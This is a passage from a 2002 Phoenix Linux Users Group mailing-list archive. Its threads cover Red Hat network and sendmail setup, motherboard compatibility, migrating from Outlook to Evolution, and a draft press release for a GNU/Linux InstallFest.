adapter to the computer. I'm with > cox@home and i need helphooking up to the internet. I have the ip addresses > and such but dont know where to configure this system to access the internet. > ipaddress 68.2.173.145 > subnet mask 255.255.255.0 > default gateway 68.2.173.1 > dhcp server 172.19.73.16 > dns servers 68.2.16.30 and 68.1.208.30 > > how do i enter this information so that i may access the internet with a cable > modem through a usb ethernet connection (soho) this is really all the info > that i know i would appreciate anyone who might help. You can even call me at > 480-988-2106! thanks danny poorman! OMFG!! Can someone on the list help with this? This page gives some pointers: http://www.linux-usb.org/USB-guide/x332.html This document has lots of info: http://www.linux-usb.org/USB-guide/ USB-guide.ps Another page I came across says you have to have usb-ohci, usbcore and CDCEther modules loaded (use lsmod to see). If you have the USB modem working, the files you seek are in: /etc/sysconfig/network-scripts/ I have no idea what the name is, but it will start with ifcfg- and have your device name in it. For example, ifcfg-eth0 (for ethernet) would contain: DEVICE=eth1 ONBOOT=yes BOOTPROTO=static IPADDR=10.0.1.1 NETMASK=255.255.255.0 GATEWAY=10.0.0.1 IF you have a static IP (put your info above). If you use DHCP (most likely?), then it will look like this: DEVICE=eth0 ONBOOT=yes BOOTPROTO=dhcp Good Luck! George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:03:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Fri, 31 May 2002 21:03:49 -0700 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> <3CF84245.FC1E70D2@georgetoft.com> Message-ID: <3CF847A5.9020004@asu.edu> George, I called him, and got no answer...and his voicemail was full. I wrote email instructions. But, alas, haven't heard anything back. I guess he'll contact us again when he is ready. Rod George Toft wrote: >>Poorboyphx wrote: >> >>ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! >>I have a cable modem with a soho ethernet adapter to the computer. I'm with >>cox@home and i need helphooking up to the internet. I have the ip addresses >>and such but dont know where to configure this system to access the internet. >>ipaddress 68.2.173.145 >>subnet mask 255.255.255.0 >>default gateway 68.2.173.1 >>dhcp server 172.19.73.16 >>dns servers 68.2.16.30 and 68.1.208.30 >> >>how do i enter this information so that i may access the internet with a cable >>modem through a usb ethernet connection (soho) this is really all the info >>that i know i would appreciate anyone who might help. You can even call me at >>480-988-2106! thanks danny poorman! > > > OMFG!! > > Can someone on the list help with this? > > This page gives some pointers: > http://www.linux-usb.org/USB-guide/x332.html > > This document has lots of info: > http://www.linux-usb.org/USB-guide/ > USB-guide.ps > > Another page I came across says you have to have usb-ohci, usbcore and CDCEther > modules loaded (use lsmod to see). > > > If you have the USB modem working, the files you seek are in: > /etc/sysconfig/network-scripts/ > I have no idea what the name is, but it will start with ifcfg- and have your > device name in it. For example, ifcfg-eth0 (for ethernet) would contain: > DEVICE=eth1 > ONBOOT=yes > BOOTPROTO=static > IPADDR=10.0.1.1 > NETMASK=255.255.255.0 > GATEWAY=10.0.0.1 > IF you have a static IP (put your info above). > > If you use DHCP (most likely?), then it will look like this: > DEVICE=eth0 > ONBOOT=yes > BOOTPROTO=dhcp > > Good Luck! > > George > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 04:45:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Fri, 31 May 2002 21:45:54 -0700 (MST) Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: Going out on a limb here... did you try restarting sendmail? On Fri, 31 May 2002, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > > Sundar > > > ----- Original Message ----- > From: "Patrick Fleming EA" > To: > Sent: Friday, May 31, 2002 3:51 PM > Subject: Re: sendmail / multiple domains question > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > Hello, > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > virtusertable, generics-domains, genericstable. I am able to send and > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > from newuser@2nddomain.com, not send from the account. > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > run DNS set it in /etc/hosts. > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > (reason: 501 5.1.8 ... Domain of sender > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > Following are the files I modified. > > > 2nddomain is the domain I am trying to add > > > > > > Virtusertable > > > > -------------------------------------------------------------------------- > -- > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > newuser@2nddomain.com newuser > > > olduser@2nddomain.com error:nouser user not found > > > olduser@istdomain.com olduser > > > > > > generics-domains(copied local-host-names) > > > > -------------------------------------------------------------------------- > -- > > > 1stdomain.com > > > 2nddomain.com > > > > > > genericstable > > > > -------------------------------------------------------------------------- > -- > > > newuser newuser@2nddomain.com > > > olduser olduser@istdomain.com > > > > > > > > > Sundar > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > -- > > Patrick Fleming, EA > > http://myhdvest.com/patrickfleming > > Licensed to represent taxpayers > > before Exam, Appeals, and Conference > > divisions of the IRS > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 05:36:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Fri, 31 May 2002 22:36:12 -0700 (PDT) Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> Message-ID: I'm mostly interested in how Intel is making use of Linux within the company. Are any of their production servers running Linux? Are any user's workstations running Linux? If not, are there plans in the future for using Linux internally on production systems, and not just for testing network card compatibility, etc.? Does IT have plans to support Linux as a desktop option? If not, why? Thanks, ~M On Thu, 30 May 2002, Alan Dayley wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 06:02:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Fri, 31 May 2002 23:02:05 -0700 Subject: Intel presentation content suggestions? In-Reply-To: <200205302056.53263.alandd@consultpros.com> References: <200205302056.53263.alandd@consultpros.com> Message-ID: <20020531230205.43323f95.snoogans@qwest.net> I would like to here about thier plans for 64 bit systems. Also advantages, disadvantages, and the like. On Thu, 30 May 2002 20:56:53 -0700 "Alan Dayley" wrote: > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 09:58:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 01 Jun 2002 02:58:37 -0700 Subject: sendmail / multiple domains question In-Reply-To: <005301c208fd$b6497250$5300a8c0@charlie> References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <1022925517.8223.6.camel@barney.azapple.com> On Fri, 2002-05-31 at 16:48, linux @esaravana wrote: > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > dowsn't work when I do 2nddomain.com. > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > 1stdomain.com. > > So, my take is DNS is set properly. But could be that my sendmail is not > using the DNS. How do I make sure, my sendmail is using my DNS. > ---- almost impossible to make sendmail work without dns. when using dns, it's easy to think that what your desktop sees is what your sever sees but that is only the case if they both point to the same dns server. I often have a situation where my server is exposed to the internet and uses a public dns server and the desktop machines are behind the firewall and point to a local dns server (essential when you use active directory) and so they might not see the same info for things like mx exchanger. So if you are are talking about sendmail resolving domain names, do nslookup/htdig from that server and then the same thing from client machines...they may come up with entirely different answers. Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 10:41:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 03:41:17 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: Message-ID: <20020601104117.24497.qmail@web13902.mail.yahoo.com> I recently received pieces to build a new computer, however the motherboard is an all-in-one-board, and I would like some opinions on whether this board would work ok with linux. I will be installing either redhat 7.3 or Mandrake 8.*. It is my understanding that some of these all-in-one-boards can be somewhat difficult to configure. The page with the specs. for this board is: http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm Could some of you tell me if you think I would be ok with this board, or if I should look for a barebones board and add the pieces. I got a 1ghz Duron with it if the chip would make a difference with the decision. Thank You for your time, mike __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 21:51:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Uhlman) Date: Sat, 1 Jun 2002 14:51:13 -0700 Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. References: <000201c207f8$4048c570$6500a8c0@phoenix> Message-ID: <004101c209b6$730fac20$0f01a8c0@workstation> New to plug glad to be here. It will depend somewhat on whether you are using outlook or outlook express. There are two strategies that have worked well for me in the past. If you have a small number of archived messages such as in the 0-10000 range you can use outlook to forward the complete contents of each mail folder as an attachment to yourself and then dl the email into evolution. This works if you have your own mail server and not an isps due to size speed etc. You can easily set up a dummy server on the evolution machince to handle just this one set of messges. Second option is to install mozilla email on the outlook machine and import from outlook into mozilla. Mozilla stores mail in mbox format that is easily readable from evolution using the import --> import as single file evolution feature. Mozilla stores its mail on XP/2k in \Documents and Settings\("Your User Name")\Application Data\Mozilla\("Your Profile Directory")\Mail\imported.mail\ you will have to copy over all the files from that imported.mail directory to a location accessible from evolution. Good luck.Other mail settings such as the addressbook tend to be a little quirky but going outlook->mozilla->evolution you can usually get the most important stuff. Also beware very large attachments, maybe it is time to do a little mail housekeeping anyway. Sincerely, David Uhlman CTO 50km Inc. email(duhlman@50km.com) ----- Original Message ----- From: "Ben" To: Sent: Thursday, May 30, 2002 9:37 AM Subject: I'd like to Evolution instead of Outlook for email and my PalmPilot. > I want to try to make the only major move I need to make away from > Windows. I want to convert my Outlook.pst file into a format that > Evolution will read. I also want to make my Palm m500, a USB PalmPilot, > synchronize with Evolution. I've tried to follow some instructions that > I found on the Net, but haven't been successful yet. > > Has anyone here successfully converted from Outlook to Evolution? > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 14:02:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 1 Jun 2002 07:02:38 -0700 Subject: Konqueror 3.0.0 question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010702.38888.alandd@mindspring.com> For you KDE people out there... I have been enjoying my KDE 3.0 desktop very much! However, I would like to change one aspect of Konqueror back to the old way. This new version of Konqueror remembers every web address I have ever clicked on. I like to type in my "usual" web site addresses. The old Konqueror used to only remember the addresses I actually typed in on the location line and only brings the actual typed in addresses when I start typin the address again. Now it remembers everything and puts up the drop down list full of selections, and the one I want is not always at the top. Is there a setting somewhere that turns off all this extra history and gives back my more direct address options? Alan From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 15:07:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 01 Jun 2002 11:07:30 -0400 Subject: Motherboard with linux question References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <3CF8E332.719CB44D@georgetoft.com> I went to google and searched for: M810LMR Linux and the results are not that impressive. There seem to be many issues with this board, and they are not just limited to Linux. You can always try it and see what happens. George MCR wrote: > > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. > > Thank You for your time, > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:14:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 09:14:45 -0700 Subject: sendmail / multiple domains question In-Reply-To: References: <005301c208fd$b6497250$5300a8c0@charlie> Message-ID: <20020601091445.5fe57045.linux@esaravana.com> Hi Patrick, It was DNS. I did not have MX record for the domains. Thanks, Sundar On Fri, 31 May 2002 21:45:54 -0700 (MST) "Patrick Fleming EA" wrote: > > Going out on a limb here... did you try restarting sendmail? > > On Fri, 31 May 2002, linux @esaravana wrote: > > > When I do 'dig' on mail.2nddomain.com, www.2nddomain.com it works, but it > > dowsn't work when I do 2nddomain.com. > > > > Same case for the mail.1stdomain.com, www.1stdomain.com, but not for > > 1stdomain.com. > > > > So, my take is DNS is set properly. But could be that my sendmail is not > > using the DNS. How do I make sure, my sendmail is using my DNS. > > > > Sundar > > > > > > ----- Original Message ----- > > From: "Patrick Fleming EA" > > To: > > Sent: Friday, May 31, 2002 3:51 PM > > Subject: Re: sendmail / multiple domains question > > > > > > > On Fri, 31 May 2002, Sundar wrote: > > > > > > > Hello, > > > > > > > > I am trying to host multiple domains on my mail server. So, I updated > > > > virtusertable, generics-domains, genericstable. I am able to send and > > > > recive from olduser@1stdomain.com. But I am only able to receive mail > > > > from newuser@2nddomain.com, not send from the account. > > > > > > > > > > My setup also has local-host-names. The error below seems to indicate that > > > the machine can't resolve 2nddomain.com. Did you place an entry in the DNS > > > tables on the machine trying to send mail for 2nddomain.com? If it doesn't > > > run DNS set it in /etc/hosts. > > > > > > > > > > > > > ----- The following addresses had permanent fatal errors ----- > > > > (reason: 501 5.1.8 ... Domain of sender > > address newuser@2nddomain.com does not exist) > > > > > > > > > > > > > > > > Following are the files I modified. > > > > 2nddomain is the domain I am trying to add > > > > > > > > Virtusertable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser@1stdomain.com error:nouser send mail to new@2nddomain.com > > > > newuser@2nddomain.com newuser > > > > olduser@2nddomain.com error:nouser user not found > > > > olduser@istdomain.com olduser > > > > > > > > generics-domains(copied local-host-names) > > > > > > -------------------------------------------------------------------------- > > -- > > > > 1stdomain.com > > > > 2nddomain.com > > > > > > > > genericstable > > > > > > -------------------------------------------------------------------------- > > -- > > > > newuser newuser@2nddomain.com > > > > olduser olduser@istdomain.com > > > > > > > > > > > > Sundar > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > > > -- > > > Patrick Fleming, EA > > > http://myhdvest.com/patrickfleming > > > Licensed to represent taxpayers > > > before Exam, Appeals, and Conference > > > divisions of the IRS > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:36:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:36:49 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> Message-ID: <200206010936.49121.krycom1@cox.net> On Saturday 01 June 2002 03:41 am, MCR wrote: > I recently received pieces to build a new computer, > however the motherboard is an all-in-one-board, and I > would like some opinions on whether this board would > work ok with linux. I will be installing either > redhat 7.3 or > Mandrake 8.*. It is my understanding that some of > these all-in-one-boards can be somewhat difficult to > configure. The page with the specs. for this board is: > > http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_ >810LMRv5.htm > > Could some of you tell me if you think I would be ok > with this board, or if I should look for a barebones > board and add the pieces. I got a 1ghz Duron with it > if the chip would make a difference with the decision. Mike, You can look on Redhats site and see if your hardware is supported. -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 16:41:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Sat, 1 Jun 2002 09:41:14 -0700 Subject: Motherboard with linux question In-Reply-To: <3CF8E332.719CB44D@georgetoft.com> References: <20020601104117.24497.qmail@web13902.mail.yahoo.com> <3CF8E332.719CB44D@georgetoft.com> Message-ID: <200206010941.14521.krycom1@cox.net> On Saturday 01 June 2002 08:07 am, George Toft wrote: > I went to google and searched for: > M810LMR Linux > and the results are not that impressive. There seem to be many > issues with this board, and they are not just limited to Linux. I think that board he is trying to use is a PC Chips, that's a warning sign in itself. :-) -- Richard L. Proctor Krystal Computer Services PC Repairs & U-pgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:05:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Sat, 1 Jun 2002 11:05:58 -0700 (PDT) Subject: Motherboard with linux question In-Reply-To: <200206010941.14521.krycom1@cox.net> Message-ID: <20020601180558.5707.qmail@web13907.mail.yahoo.com> Thank you for the responses. I thought I would be better off getting a new board, I just thought I would ask to make sure. With these comments being made I was wondering if someone would be willing to contact me off list and answer a few questions. I am sure not everyone wants their e-mail filled up with hardware questions. mike1071@yahoo.com My question right now is simply what motherboards tend to do better, and what is a good way to find out. I know I can just do a regular search and research on them, but what are the certain "brands" that tend to do better than the others? mike --- "Richard L. Proctor" wrote: > On Saturday 01 June 2002 08:07 am, George Toft > wrote: > > I went to google and searched for: > > M810LMR Linux > > and the results are not that impressive. There > seem to be many > > issues with this board, and they are not just > limited to Linux. > > I think that board he is trying to use is a PC > Chips, that's a warning sign > in itself. :-) > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & U-pgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 18:31:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lucas Sheehan) Date: Sat, 01 Jun 2002 11:31:21 -0700 Subject: IRC Linux channel? References: <200205301740.g4UHe3202954@PlugList.MyButt.Net> Message-ID: <3CF912F9.E14C11CA@aaahawk.com> Hello all, Im a bit new to all of this but have been messin with Linux for about a year. So I will ask my newbie question and look like a fool for the proverbial 5 min. Im not sure how to connect to the Pretorian.atx.cx chat thingy with the IRC. I try to connect and it always times out. What am I doing wrong? I have tried X-Chat IRC Client and Mozilla-IRC. If someone could help me set that up I would greatly appreciate it. Thanks. Luke From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:08:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Sat, 01 Jun 2002 12:08:14 -0700 Subject: Motherboard with linux question In-Reply-To: <20020601104117.24497.qmail@web13902.mail.yahoo.com> References: Message-ID: <5.1.0.14.0.20020601115634.0244ac90@teltrax.com> I have a machine with one of these motherboards in it. The only problem that I've noticed was with the sound. I installed Lycoris Desktop/LX, and for the life of me just couldn't get the sound working. I even tried the Alsa drivers, but still nothing. I then installed Mandrake 8.2 on it, and it configured the sound automatically. Although it worked, occasionally the sound would cut out and require a reboot. This would happen roughly once or twice a week with the system being used nightly for several hours. The only other thing is that whenever KDE would play a desktop sound, there would be a very small but noticeable chirp just before the sound played. It sounded like I was hearing the sounds through a walkie-talkie. Other than that, everything else on the board worked and, apart from the sound, was very stable. I ended up putting Windows on that particular machine, because it's my sons computer and he likes to visit kids sites that use Flash 5, and I have yet to find a Linux browser that will run all of the flash games. That's the ONLY thing keeping a Windows box at my house. It's funny because my son (8 years old) just asked if I could make his computer run both so he could use Windows for the flash sites, but Linux for everythig else. (Sorry, getting a little off topic here, hehe). Patrick At 03:41 AM 06/01/2002 -0700, you wrote: > I recently received pieces to build a new computer, >however the motherboard is an all-in-one-board, and I >would like some opinions on whether this board would >work ok with linux. I will be installing either >redhat 7.3 or >Mandrake 8.*. It is my understanding that some of >these all-in-one-boards can be somewhat difficult to >configure. The page with the specs. for this board is: > >http://www.pcware.com/english/products/PC%20chips%20MB/socket_a/M810LMR/MB_810LMRv5.htm > > Could some of you tell me if you think I would be ok >with this board, or if I should look for a barebones >board and add the pieces. I got a 1ghz Duron with it >if the chip would make a difference with the decision. > > Thank You for your time, > > mike > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 19:56:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Sat, 1 Jun 2002 12:56:42 -0700 Subject: True Type Fonts and Opera/Galeon Message-ID: <20020601125642.47e68d4e.linux@esaravana.com> Hello, Do Opera and Galeon support TTF? I installed them on my Redhat 7.2 system and I can see/use them in my email client - Sylpheed. But, it doesn't get used when I browse with Opera 6.0 or Galeon. I know it is not getting used, because when I visit my native tongue specific sites -- it's all garbled. Sundar From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 23:04:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Sat, 1 Jun 2002 16:04:15 -0700 Subject: Fwd: FW: InstallFest Press Release RC2 Message-ID: <1022972655.3cf952ef4f586@webmail.freedom2surf.net> Here are Bill's changes to the Press Release for comment. This version is based on Victor's suggestion to make the press release more newsworthy. So, hwich version do we want to run with - this one? Or what's currently posted on the PLUG site? Judges, the envelope please. . . Dennis -----Original Message----- From: William Lindley [SMTP:wlindley@wlindley.com] Sent: Wednesday, May 29, 2002 16:43 To: Dennis Kibbe Subject: InstallFest Press Release RC2 Dennis -- Using Victor's suggestion, here's RC2. Changes from Victor's text: * Title "GNU/Linux InstallFest" * My description "computer consultant" * Changed my <> slightly * Instead of "and external modems" a reference to the PLUG web page InstallFest Q&A (which we need to have ready when this is released). Removed parentheses around that sentence. * Corrected spelling of my name * "PLUG Club members" --> "PLUG members" === On Saturday, June 22, the Phoenix Linux Users Group (PLUG) invites the public to a "GNU/Linux InstallFest" at Scottsdale Community College. Attendees will receive expert help in installing Linux, a freely available operating system, on their personal computers. After the InstallFest, users who brought their computers along can in many cases go home with working systems installed on their machines, free of charge. The package includes web browsers, word processors, and other usual tools that computer users expect. PLUG's organizer for the event is William Lindley, a computer consultant. "This is what the Free Software community is all about - helping each other, and we'll be helping folks get started," Lindley explained. "We're all looking forward to this InstallFest." The software is an alternative to Windows and other proprietary systems. Linux, GNU, FreeBSD and other "open source" and "free software" systems do not require any licensing or upgrade fees, and are said by many experts to be more efficient and secure than Windows systems. Businesses and home users alike are turning to free software which can be freely copied, modified, or examined, and which is considered by computer experts to be more robust and secure than proprietary systems. Though there is no charge, the term "free software" actually refers to freedom from license restrictions: Users are never asked to click "I Agree" to a list of prohibitions before using it, and organizations need not store "Certificates of Authenticity" in their safe deposit boxes in case of an audit. The free software products are available at no charge through the Internet or as an inexpensive distribution at most local computer stores, but the InstallFest offers users a completed installation by experienced Linux and FreeBSD administrators. Computer users are invited to bring their computers to the event. Usually, only the computer box, monitor, keyboard and mouse need be brought - see the PLUG web page for details. "Your old operating system can remain as an alternative, or we can replace it entirely," Lindley said, "depending on your plans for the machine and how much disk space you have to spare." "This is a really important next step in development of computers and the Internet -- making them more affordable and more secure," Lindley said. "We are here to show how easy it can be for computer users to move up to the next level." The event will be held from 10:00 a.m. to 4:00 p.m. in the College's Turquoise Room, at 9000 E. Chaparral Rd., Scottsdale, AZ. A map is available online at PLUG's web site, ( http://plug.phoenix.az.us ). PLUG members will be available to answer questions about Linux, Open Source software, and the Phoenix Linux Users Group as well. For more information about the InstallFest, email contact@plug.phoenix.az.us or call William Lindley at 480-947-6100 PLUG is an informal group that holds several monthly meetings, on both the East and West sides of Phoenix, to talk about what they've recently done with Linux, GNU and open source software; to share problems and solutions, and to discuss issues in the world of Free Software and computers in general. Knowledge of Linux is neither presumed nor required. Between meetings, PLUG members stay in touch through a busy e-mail discussion list. More information about PLUG can be found on the website at http://plug.phoenix.az.us/ . Scottsdale Community College offers two year degree programs in many disciplines including computers, arts, and science. SCC also offers university transfer programs and special interest courses, and has hosted several free software events. END ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 2 00:38:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) 